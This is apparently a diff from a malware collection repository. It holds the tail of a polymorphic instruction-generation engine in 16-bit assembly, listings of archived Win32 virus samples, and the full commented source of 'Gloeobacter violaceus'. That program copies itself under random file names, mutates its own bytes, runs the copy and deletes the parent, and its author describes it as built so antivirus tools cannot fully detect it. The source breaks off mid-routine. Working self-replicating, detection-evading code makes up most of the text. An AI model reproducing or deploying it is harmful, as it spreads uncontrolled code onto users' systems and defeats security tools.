db 0d1h,11001000b ;ror
|
||||
db 0d1h,11010000b ;rcl
|
||||
db 0d1h,11011000b ;rcr
|
||||
db 0d1h,11100000b ;shl
|
||||
db 0d1h,11101000b ;shr
|
||||
db 0ffh,11000000b ;inc
|
||||
db 0ffh,11001000b ;dec
|
||||
db 0f7h,11010000b ;not
|
||||
db 0f7h,11011000b ;neg
|
||||
db 0d3h,11000000b ;rol cl
|
||||
db 0d3h,11001000b ;ror cl
|
||||
db 0d3h,11010000b ;rcl cl
|
||||
db 0d3h,11011000b ;rcr cl
|
||||
db 0d3h,11100000b ;shl cl
|
||||
db 0d3h,11101000b ;shr cl
|
||||
|
||||
proc DEME_GenCmd3 near
|
||||
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã á ¥¯®á।áâ¢¥ë¬ § 票¥¬
|
||||
push ax bx
|
||||
mov al,[DEME_MaskUsed]
|
||||
push ax
|
||||
or [DEME_MaskUsed],M_AX ;„«ï AX ª®¤ë ª®¬ ¤ ¤à㣨¥
|
||||
call RND
|
||||
xor ah,ah
|
||||
mov bl,9
|
||||
div bl
|
||||
mov bl,ah
|
||||
xor bh,bh
|
||||
shl bx,1
|
||||
mov al,[DEME_Cmds3+bx]
|
||||
stosb
|
||||
mov bl,[DEME_Cmds3+bx+1]
|
||||
call DEME_GetUnusedReg
|
||||
or al,bl
|
||||
stosb
|
||||
call RND
|
||||
stosw
|
||||
pop ax
|
||||
mov [DEME_MaskUsed],al
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenCmd3
|
||||
|
||||
DEME_Cmds3 db 081h,11000000b ;add
|
||||
db 081h,11010000b ;adc
|
||||
db 081h,11101000b ;sub
|
||||
db 081h,11110000b ;xor
|
||||
db 0f7h,11000000b ;test
|
||||
db 081h,11011000b ;sbb
|
||||
db 081h,11001000b ;or
|
||||
db 081h,11111000b ;cmp
|
||||
db 081h,11100000b ;and
|
||||
; db 0c7h,11000000b ;mov
|
||||
|
||||
|
||||
proc DEME_GenCmd4 near
|
||||
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã
|
||||
push ax bx cx dx
|
||||
|
||||
call RND
|
||||
xor ah,ah
|
||||
mov bl,10
|
||||
div bl
|
||||
mov bl,ah
|
||||
xor bh,bh
|
||||
mov al,[DEME_Cmds4+bx]
|
||||
stosb
|
||||
|
||||
call DEME_GetUnusedReg
|
||||
shl al,3
|
||||
mov dl,al
|
||||
call RND
|
||||
and al,00000111b
|
||||
or al,11000000b
|
||||
or al,dl
|
||||
stosb
|
||||
|
||||
pop dx cx bx ax
|
||||
ret
|
||||
endp DEME_GenCmd4
|
||||
|
||||
DEME_Cmds4 db 003h ;add
|
||||
db 013h ;adc
|
||||
db 02bh ;sub
|
||||
db 033h ;xor
|
||||
db 085h ;test
|
||||
db 01bh ;sbb
|
||||
db 00bh ;or
|
||||
db 03bh ;cmp
|
||||
db 023h ;and
|
||||
db 08bh ;mov
|
||||
|
||||
|
||||
proc DEME_GetUnusedReg near
|
||||
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà (¤«ï ¬ãá®à )
|
||||
push bx
|
||||
mov bl,[DEME_MaskUsed]
|
||||
mov al,M_ALL
|
||||
call DEME_GetAnyReg
|
||||
mov [DEME_MaskUsed],bl
|
||||
pop bx
|
||||
ret
|
||||
endp DEME_GetUnusedReg
|
||||
|
||||
|
||||
proc DEME_GetAnyReg near
|
||||
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà ¨§ ®¯à¥¤¥«¥®© £à㯯ë
|
||||
push bx cx
|
||||
mov bl,al
|
||||
not bl
|
||||
or bl,[DEME_MaskUsed]
|
||||
|
||||
call RND
|
||||
and ax,7
|
||||
mov cl,al
|
||||
mov ah,1
|
||||
rol ah,cl
|
||||
@@11:
|
||||
test ah,bl
|
||||
je @@12
|
||||
inc al
|
||||
and al,7
|
||||
rol ah,1
|
||||
jmp @@11
|
||||
@@12:
|
||||
or [DEME_MaskUsed],ah
|
||||
and ax,7
|
||||
pop cx bx
|
||||
ret
|
||||
endp DEME_GetAnyReg
|
||||
|
||||
|
||||
proc DEME_GenLoadReg16 near
|
||||
;ƒ¥¥à¨â § £à㧪ã ॣ¨áâà
|
||||
;ax - ª ª®£®
|
||||
;bx - 祬
|
||||
push ax bx
|
||||
and al,00000111b
|
||||
or al,10111000b
|
||||
stosb
|
||||
mov ax,bx
|
||||
stosw
|
||||
pop bx ax
|
||||
ret
|
||||
endp DEME_GenLoadReg16
|
||||
|
||||
Seed dw 0
|
||||
Seed1 dw 0
|
||||
DEME_MaskUsed db 0
|
||||
|
||||
DEME_RegIndex dw 0
|
||||
DEME_RegCounter dw 0
|
||||
DEME_RegKey dw 0
|
||||
|
||||
DEME_Origin dw 0
|
||||
DEME_BuffOffs dw 0
|
||||
|
||||
DEME_LoopAddr dw 0
|
||||
DEME_JmpShort dw 0
|
||||
DEME_CodeLen dw 0
|
||||
DEME_Key dw 0
|
||||
DEME_KeyAdd dw 0
|
||||
DEME_AddrBeg dw 0
|
||||
|
||||
POPSTATE
|
||||
|
||||
|
||||
|
||||
|
BIN
Engines/Virus.Win32.Dina.7z
Normal file
BIN
Engines/Virus.Win32.Dina.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Dizzy.7z
Normal file
BIN
Engines/Virus.Win32.Dizzy.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Dme.7z
Normal file
BIN
Engines/Virus.Win32.Dme.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Expo.7z
Normal file
BIN
Engines/Virus.Win32.Expo.7z
Normal file
Binary file not shown.
1107
Engines/Virus.Win32.Flying.asm
Normal file
1107
Engines/Virus.Win32.Flying.asm
Normal file
File diff suppressed because it is too large
Load Diff
673
Engines/Virus.Win32.Gv.ASM
Normal file
673
Engines/Virus.Win32.Gv.ASM
Normal file
@ -0,0 +1,673 @@
|
||||
Gloeobacter violaceus
|
||||
by Second Part To Hell/[rRlf]
|
||||
www.spth.de.vu
|
||||
spth@priest.com
|
||||
written in May 2005
|
||||
in Austria
|
||||
|
||||
I proudly present my very first real Win32 Project.
|
||||
Before anything else I have to say that this is neighter a real virus
|
||||
nor a real engine. It is a program emulating the nature's mutations.
|
||||
|
||||
I would descripe it as a primitive artificial life form.
|
||||
|
||||
How does it work?
|
||||
1) When executed, it get's the own filename and the parent's filename
|
||||
2) It sleeps for 1500 + (0..4095) milliseconds
|
||||
3) It copies itself to a random filename in the current directory
|
||||
4) 1/4 it mutates:
|
||||
- Point Mutation: ~68.75%
|
||||
- Chromosome Mutation:
|
||||
* Chromosome Inversation
|
||||
* Chromosome Translocation
|
||||
* Chromosome Delection
|
||||
* Chromosome Dublication
|
||||
* Chromosome Inseration
|
||||
5) It executes the new file
|
||||
6) With a chance of ~50% it jmps to 2
|
||||
7) It deletes the partent's file
|
||||
8) It exits it's own process
|
||||
|
||||
Where the hell can you see a primitive artificial life form?
|
||||
|
||||
Well, we can also say, that the project behaves like that:
|
||||
|
||||
1) Birth of the lifeform
|
||||
2) Growing up until it can replicate itself
|
||||
3/4) Replicate - there may happen mistakes while replicating
|
||||
5) Birth of the child
|
||||
6) Maybe it makes another child?!
|
||||
7) Give me more space - Remove the corpse of the parent
|
||||
8) Death of the lifeform
|
||||
|
||||
About the name: I've thought long time about a suitable name,
|
||||
and I think I got a right one: 'Gloeobacter violaceus' are very simple
|
||||
bacteria, and also one of the very first life form on our world.
|
||||
|
||||
With this code I've (more than) partly realized my idea, which I've
|
||||
written down in the article "Code Evolution: Follow nature's example", and
|
||||
I think I've succeded.
|
||||
|
||||
Now let me write some lines about it's behaviour when it's executed:
|
||||
First I have to say that every mutation may kill the children. But nevermind,
|
||||
the same also happens in nature. As I have tested it very well, I've been faced
|
||||
with some strange mutations. Let me tell you some: The filename of the child
|
||||
was not .exe but something else; sometimes the DOS-Box opened (when the MZ was
|
||||
deleted or changed, Windows wanted to run it as a .COM); and the maybe stranges
|
||||
thing ever happend while testing was the creation of two file called 'v' and ' '.
|
||||
One is 1kB and one is 500kB, I can neighter read, overwrite, delete or do anything
|
||||
else with them. And furthermore they have no arguments as creation-time. They are
|
||||
just lost space at my HD, but who cares, I dont need these 501kB :)
|
||||
|
||||
My intention in writing this code was, beside of creating an artificial life form,
|
||||
making a technique, which CAN NOT be fully detect by AVs. Reason: Every BIT (!)
|
||||
can be changed, and there is no way to find out, how the whole code is changed.
|
||||
|
||||
As even the body of the code may be changed, this could also be called metamorphism.
|
||||
But I would not call it 'metamorph', as everything is random (the code don't 'know'
|
||||
what it does).
|
||||
|
||||
Thanks goes to BlueOwl and Dr3f, who helped me with some problems with Win32 APIs.
|
||||
|
||||
For compiling:
|
||||
Delete the into (this!) and use 'flat assembler 1.56'.
|
||||
|
||||
|
||||
|
||||
|
||||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Gloeobacter violaceus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
|
||||
include '..\FASM\INCLUDE\win32ax.inc'
|
||||
|
||||
.data
|
||||
systemtime_struct: ; for random number
|
||||
dw 0 ; wYear
|
||||
dw 0 ; wMonth
|
||||
dw 0 ; wDayOfWeek
|
||||
dw 0 ; wDay
|
||||
dw 0 ; wHour
|
||||
dw 0 ; wMinute
|
||||
dw 0 ; wSecond
|
||||
rnd: dw 0 ; wMilliseconds
|
||||
|
||||
rand_name_buffer: ; The random-engine fills this buffer with 8 random (0-255) bytes
|
||||
times 8 db 0
|
||||
|
||||
rnd_file_name: ; This will contain the filename of the new child
|
||||
times 8 db 0
|
||||
db '.exe',0
|
||||
|
||||
current_file_value: ; Will contain the current running filename
|
||||
times 8 db 0
|
||||
db '.exe',0
|
||||
|
||||
parent_file dd 0x0 ; Buffer for pointer to the parent-file-name
|
||||
current_file dd 0x0 ; Buffer for pointer to the current running file
|
||||
file_handle dd 0x0
|
||||
file_size dd 0x0
|
||||
map_pointer dd 0x0
|
||||
map_handle dd 0x0
|
||||
change_byte_offset dd 0x0
|
||||
change_byte_value db 0x0
|
||||
|
||||
StartUp_struct:
|
||||
StartUp_struct_cb dd 0
|
||||
StartUp_struct_lpReserved dd 0
|
||||
StartUp_struct_lpDesktop dd 0
|
||||
StartUp_struct_lpTitle dd 0
|
||||
StartUp_struct_dwX dd 0
|
||||
StartUp_struct_dwY dd 0
|
||||
StartUp_struct_dwXSize dd 0
|
||||
StartUp_struct_dwYSize dd 0
|
||||
StartUp_struct_dwXCountChars dd 0
|
||||
StartUp_struct_dwYCountChars dd 0
|
||||
StartUp_struct_dwFillAttribute dd 0
|
||||
StartUp_struct_dwFlags dd 0
|
||||
StartUp_struct_wShowWindow dw 0
|
||||
StartUp_struct_cbReserved2 dw 0
|
||||
StartUp_struct_lpReserved2 dd 0
|
||||
StartUp_struct_hStdInput dd 0
|
||||
StartUp_struct_hStdOutput dd 0
|
||||
StartUp_struct_hStdError dd 0
|
||||
|
||||
|
||||
ProcessInfo_Struct:
|
||||
PROCESS_INFORMATION_hProcess dd 0
|
||||
PROCESS_INFORMATION_hThread dd 0
|
||||
PROCESS_INFORMATION_dwProcessId dd 0
|
||||
PROCESS_INFORMATION_dwThreadId dd 0
|
||||
|
||||
|
||||
|
||||
.code
|
||||
start:
|
||||
invoke GetCommandLine ; Get the name of the current file
|
||||
|
||||
cmp byte [eax], '"' ; Compare if first byte is ". As GetCommandLine could be ["filename"] or [filename]
|
||||
jne got_my_name ; If no ", then we already have it
|
||||
|
||||
;;; FIRST EXECUTION ;;;
|
||||
|
||||
inc eax ; Delete first "
|
||||
mov ebx, eax ; Save the pointer
|
||||
get_my_name:
|
||||
inc ebx ; Get next byte
|
||||
cmp byte [ebx], '.' ; Compare the value with a dot
|
||||
jne get_my_name ; If not equal, get next letter of the filename
|
||||
|
||||
add ebx, 4 ; Get the pointer of the second "
|
||||
mov byte [ebx], 0x0 ; Del the second "
|
||||
sub ebx, 4 ; Go back to the dot
|
||||
get_my_name2:
|
||||
dec ebx ; Previous letter
|
||||
cmp byte [ebx], '\' ; Check if it's the end of the path (=filestart-1)
|
||||
jne get_my_name2 ; if not, get another letter
|
||||
|
||||
inc ebx ; delete the '\'
|
||||
mov eax, ebx ; eax=ebx=pointer to start of currentfilename
|
||||
|
||||
;;; END FIRST EXECUTION ;;;
|
||||
|
||||
got_my_name:
|
||||
mov byte [eax+12], 0x0 ; make a NULL-terminated string
|
||||
mov [current_file], eax ; Save the filename of the current running process
|
||||
|
||||
add eax, 13 ; Point to the first letter of the parent
|
||||
mov [parent_file], eax ; Save the pointer to the parent
|
||||
|
||||
call random_number ; Get random number
|
||||
mov ecx, [rand_name_buffer] ; Move a random number to ecx
|
||||
and ecx, 1 ; Random number between 0 and 1: New counter
|
||||
|
||||
add ecx, 1 ; ecx++ (counter: 1 or 2 childs)
|
||||
|
||||
create_next_child:
|
||||
push ecx ; Save the counter
|
||||
|
||||
call random_number ; Renew random numbers
|
||||
mov ebp, 1500 ; ebp=1500
|
||||
mov eax, [rand_name_buffer] ; eax=random number
|
||||
and eax, 4095 ; eax=0000 0000 0000 0000 0000 ???? ???? ????
|
||||
add ebp, eax ; ebp=1500+(0..4095)
|
||||
invoke Sleep, ebp ; Sleep 1500+(0..4095) ms
|
||||
|
||||
call get_n_save_random_name ; Get a random filename
|
||||
invoke CopyFile, [current_file], rnd_file_name, 0 ; Copy current file to new file with random name
|
||||
|
||||
call random_number ; Get new random number
|
||||
mov ax, [rand_name_buffer] ; Get them from buffer
|
||||
xor ah, al ; compain 2 bytes
|
||||
and ah, 3 ; ???? ???? -> 0000 00??
|
||||
cmp ah, 2 ; ah=0000 0010?
|
||||
je evolution ; If yes -> evolution
|
||||
noevolution: ; Code continues here after mutation, if there where any
|
||||
call birthofchild ; Make the child living!
|
||||
pop ecx ; Another child?
|
||||
loop create_next_child ; If counter>1, create new child!
|
||||
|
||||
cmp [parent_file], 0x0 ; Compare if parent_file = 0 (first execution?)
|
||||
je Death ; If so, no parent killing, as there is no parent!
|
||||
|
||||
invoke DeleteFile, [parent_file] ; Kill the parent! (sorry mum, sorry dad :D)
|
||||
|
||||
Death:
|
||||
invoke ExitProcess, 0 ; Close current process: Death! :)
|
||||
|
||||
birthofchild:
|
||||
mov esi, [current_file] ; esi=pointer to current file name
|
||||
mov edi, current_file_value ; edi=pointer to buffer for current file name
|
||||
mov ecx, 8 ; counter: 8 bytes to copy
|
||||
rep movsb ; Move ecx byte from [esi] to [edi]
|
||||
|
||||
mov byte [current_file_value-1], 0x20 ; Delete the 0x0
|
||||
invoke CreateProcess, 0x0, rnd_file_name, 0x0, 0x0, FALSE, 0x0, 0x0, 0x0, StartUp_struct, ProcessInfo_Struct ; Create child-process
|
||||
mov byte [current_file_value-1], 0x0 ; Reset the 0x0
|
||||
ret
|
||||
|
||||
random_number:
|
||||
pop edi ; Get value of stack
|
||||
push edi ; Back to the stack
|
||||
mov ecx, 8 ; ecx=counter
|
||||
mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random
|
||||
mov dl, 0x87 ; same as dh
|
||||
random_name_loop:
|
||||
push dx ; Save dx at stack
|
||||
push ecx ; Save counter at stack
|
||||
call random_byte ; Random number in al
|
||||
pop ecx ; get counter
|
||||
xor al, cl ; Counter influences pseudo random number
|
||||
pop dx ; Get dx
|
||||
push ecx
|
||||
xor dx, cx ; Counter influences influncing number
|
||||
add dh, al ; Random number influences influencing number
|
||||
sub dl, al ; Same as dh
|
||||
neg dl ; Neg dl
|
||||
xor dl, dh ; dl XOR dh -> more variability
|
||||
xor al, dl ; random number changes
|
||||
sub ax, di ; value of stack influences random number
|
||||
add ax, dx ; ax+dx
|
||||
mov dl, [rand_name_buffer+ecx-2]
|
||||
mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????
|
||||
sub al, dl ; al-=dl
|
||||
add al, dh ; al+=dh
|
||||
mov ah, dl ; ah=dl
|
||||
push ax ; AX to stack
|
||||
mov cl, 1 ; cl=1
|
||||
or dh, cl ; dh is at least 1 (to reduce chance of result=zero)
|
||||
mul dh ; AL=AX*DH
|
||||
pop cx ; CX=old AX
|
||||
push cx ; To stack again
|
||||
add cl, al ; CL+=AL
|
||||
sub cl, ah ; CL-=AH
|
||||
xchg al, cl ; AL=CL
|
||||
mov cx, bp ; cx=bp
|
||||
mul cl ; AX=AL*CL
|
||||
neg ah ; NEG AH
|
||||
xor al, ah ; xor AL and AH
|
||||
pop cx ; get old AX
|
||||
sub cl, al ; SUB
|
||||
add cl, dl ; cl+=old random number
|
||||
sub al, cl ; al ~=random :)
|
||||
pop ecx ; Get counter
|
||||
mov [rand_name_buffer+ecx-1], al ; Save random letter
|
||||
loop random_name_loop
|
||||
|
||||
ret
|
||||
|
||||
random_name:
|
||||
call random_number ; Get 8 random bytes
|
||||
mov ecx, 8 ; counter=8, as we want to do it 8 times
|
||||
|
||||
changetoletter:
|
||||
mov al, [rand_name_buffer+ecx-1] ; Get a letter
|
||||
mov bl, 10 ; BL=10
|
||||
xor ah, ah ; AX: 0000 0000 ???? ????
|
||||
div bl ; AL=rnd/10=number between 0 and 25
|
||||
add al, 97 ; Add 97 for getting lowercase letters
|
||||
mov [rnd_file_name+ecx-1], al ; Save random letter
|
||||
loop changetoletter
|
||||
ret
|
||||
|
||||
random_byte:
|
||||
invoke GetSystemTime, systemtime_struct ; Get first number
|
||||
mov ebx, [rnd-2] ; ebx=number
|
||||
add ebx, edx ; Making it pseudo-independent of time
|
||||
sub ebx, ecx
|
||||
xor ebx, eax
|
||||
xchg bl, bh
|
||||
pop ecx
|
||||
push ecx
|
||||
neg ebx
|
||||
xor ebx, ecx ; ebx=pseudo-indepentend number
|
||||
|
||||
invoke GetTickCount ; Get second number
|
||||
xor eax, ecx ; eax=number
|
||||
neg ax ; Making it pseudo-independent of time
|
||||
xor eax, edx
|
||||
xor ah, al
|
||||
sub eax, ebp
|
||||
add eax, esi ; eax=pseudo-indepentend number
|
||||
|
||||
xor eax, ebx ; Compain the numbers -> eax
|
||||
mov ebx, eax ; Save eax
|
||||
shr eax, 8 ; e-part -> ax
|
||||
xor ax, bx
|
||||
xor al, ah ; al=number
|
||||
ret
|
||||
|
||||
get_n_save_random_name:
|
||||
mov ebp, 12 ; ebp influences the pseudo-random-number engine too
|
||||
call random_name ; Get a random name
|
||||
ret
|
||||
|
||||
evolution:
|
||||
; invoke MessageBox, 0x0, rnd_file_name, "Code Evolution", 0x0
|
||||
|
||||
invoke CreateFile, rnd_file_name, 0xC0000000 ,0x1, 0x0, 0x3, 0x0, 0x0 ; Open the new created file
|
||||
mov [file_handle], eax ; Save the file handle
|
||||
invoke GetFileSize, [file_handle], file_size ; Get the size of the file
|
||||
mov [file_size], eax ; Low Filesize returned in eax
|
||||
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 ; Create a Map
|
||||
mov [map_handle], eax ; Save the Map handle
|
||||
|
||||
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] ; Map view of file
|
||||
mov [map_pointer], eax ; Save the pointer of file
|
||||
|
||||
call random_number ; Get a random number
|
||||
mov al, [rand_name_buffer] ; Radom number in al
|
||||
|
||||
; Chances:
|
||||
; Point-Mutation: ~50%+18.75%=~68.75%
|
||||
; Each Chromosome Mutation: ~6.25%
|
||||
|
||||
and al, 1 ; al=0000 000?
|
||||
cmp al, 1 ; Compare with 1
|
||||
je pointmutation ; If al=1 then jmp pointmutation (change: ~50%)
|
||||
|
||||
mov al, [rand_name_buffer+4] ; al=new random number
|
||||
and al, 7 ; al=0000 0???
|
||||
|
||||
cmp al, 0 ; Compare al with 0
|
||||
je chrom_inversation ; If al=0 make Chromosome Inversation
|
||||
|
||||
cmp al, 1 ; Compare al with 1
|
||||
je chrom_translocation ; If al=1 make Chromosome Translocation
|
||||
|
||||
cmp al, 2 ; Compare al with 2
|
||||
je chrom_delection ; If al=2 make Chromosome Delection
|
||||
|
||||
cmp al, 3 ; Compare al with 3
|
||||
je chrom_dublication ; If al=2 make Chromosome Dublication
|
||||
|
||||
cmp al, 4 ; Compare al with 4
|
||||
je chrom_inseration ; If al=4 make Chromosome Inseration
|
||||
|
||||
jmp pointmutation ; Otherwise do Pointmutation (Chance ~18.75%)
|
||||
|
||||
endofmutation:
|
||||
invoke UnmapViewOfFile, [map_pointer] ; Unmap View of File
|
||||
|
||||
invoke CloseHandle, [map_handle] ; Close Map
|
||||
invoke CloseHandle, [file_handle] ; Close File
|
||||
jmp noevolution
|
||||
|
||||
pointmutation: ; Mutation: Pointmutation
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=File size
|
||||
cmp eax, ebx ; comparee Random Number with File Size
|
||||
jg pointmutation ; If RN>Filesize then get new random number (=byte to change)
|
||||
|
||||
add eax, [map_pointer] ; eax=Byte to change in memory
|
||||
mov [change_byte_offset], eax ; Save the offset
|
||||
|
||||
mov ah, [eax] ; Get the value of the byte
|
||||
mov [change_byte_value], ah ; Save it
|
||||
|
||||
mov cl, [rand_name_buffer+5] ; cl=???? ????
|
||||
and cl, 7 ; cl=0000 0???
|
||||
mov al, 1 ; al=0000 0001
|
||||
shl al, cl ; AL= ? <- |0|0|0|0| |0|0|0|1| -- ?
|
||||
mov esi, [change_byte_offset] ; esi=offset of byte to change
|
||||
xor [esi], al ; XOR byte with AL
|
||||
; invoke MessageBox, 0x0, esi, "Point Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
chrom_inversation: ; Mutation: Chromosome Mutation - Inversation
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 16 ; ebx-=16 (As we may change two 8 byte parts)
|
||||
cmp eax, ebx ; comparee Random number with Filesize-16
|
||||
jg chrom_inversation ; If RN>Filesize-16 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; Add the offset of file memory
|
||||
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
|
||||
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
|
||||
|
||||
mov esi, [change_byte_offset] ; ESI=Offset of part 1
|
||||
mov edi, rand_name_buffer ; EDI=Offset of Buffer
|
||||
rep movsb ; part 1 to buffer: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||
|
||||
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=Counter (start of part 2)
|
||||
add eax, [change_byte_offset] ; eax+=Offset in memory of part 2
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=Counter
|
||||
|
||||
mov esi, eax ; ESI=Offset of part 2
|
||||
mov edi, [change_byte_offset] ; EDI=Offset of part 1
|
||||
rep movsb ; part 2 to part 1: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=Counter
|
||||
mov eax, [change_byte_offset] ; eax=Start of part 1
|
||||
add eax, ecx ; eax=Start of part 2
|
||||
|
||||
mov esi, rand_name_buffer ; ESI=Offset of buffer
|
||||
mov edi, eax ; EDI=Offset of part 2
|
||||
rep movsb ; buffer to part 1
|
||||
|
||||
; invoke MessageBox, 0x0, "Inversation", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation ; Finished Inversation!
|
||||
|
||||
chrom_translocation:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
|
||||
cmp eax, ebx ; Compare Random number with Filesize-8
|
||||
jg chrom_translocation ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; Add the offset of file memory
|
||||
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
|
||||
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
|
||||
|
||||
mov esi, [change_byte_offset] ; ESI=Offset of source
|
||||
mov edi, rand_name_buffer ; EDI=Offset of Buffer
|
||||
rep movsb ; Code-Part to buffer: MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
|
||||
|
||||
mov ecx, [file_size] ; eax=filesize
|
||||
add ecx, [map_pointer] ; eax=End of file in memory
|
||||
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Pointer to change byte
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
add esi, eax ; esi=Pointer to end of changing in memory
|
||||
|
||||
mov edi, [change_byte_offset] ; edi=Offset of changing
|
||||
rep movsb
|
||||
|
||||
chrom_trans_loop: ; Get a offset, where to save the part
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
|
||||
cmp eax, ebx ; Compare Random number with Filesize-8
|
||||
jg chrom_trans_loop ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; Add the offset of file memory
|
||||
mov [change_byte_offset], eax ; Save offset of changing
|
||||
|
||||
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||
add ecx, [file_size] ; ecx=End of file in memory
|
||||
|
||||
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
sub ecx, eax ; ecx-=number of bytes to change
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||
add edi, eax ; edi=Offset after changing
|
||||
|
||||
chrom_trans_buffer: ; Delete the Code-Part
|
||||
mov al, [esi+ecx] ; al=Value to Replace
|
||||
mov [edi+ecx], al ; Save al
|
||||
loop chrom_trans_buffer
|
||||
|
||||
; invoke MessageBox, 0x0, "Translocation", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
chrom_delection:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8
|
||||
cmp eax, ebx ; comparee Random number with Filesize
|
||||
jg chrom_delection ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; Add the offset of file memory
|
||||
mov [change_byte_offset], eax ; Save the pointer
|
||||
|
||||
call random_number ; Get a random number
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [rand_name_buffer] ; cl=random number
|
||||
and cl, 7 ; cl=0000 0???
|
||||
mov [change_byte_value], cl ; Save the random number
|
||||
|
||||
mov ecx, [file_size] ; eax=filesize
|
||||
add ecx, [map_pointer] ; eax=End of file in memory
|
||||
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Pointer to change byte
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
add esi, eax ; esi=Pointer to end of changing in memory
|
||||
|
||||
mov edi, [change_byte_offset] ; edi=Offset of changing
|
||||
rep movsb
|
||||
|
||||
; invoke MessageBox, 0x0, "Delection", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
chrom_dublication:
|
||||
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with another size
|
||||
invoke CloseHandle, [map_handle] ; Close Map-Handle
|
||||
|
||||
call random_number ; Get a random number
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [rand_name_buffer] ; cl=random number
|
||||
and cl, 7 ; cl=0000 0???
|
||||
mov [change_byte_value], cl ; Save the random number
|
||||
|
||||
add ecx, [file_size] ; ecx=New filesize
|
||||
mov [file_size], ecx ; Save new filesize
|
||||
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
|
||||
mov [map_handle], eax
|
||||
|
||||
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
|
||||
mov [map_pointer], eax
|
||||
|
||||
chrom_dubl_loop1:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
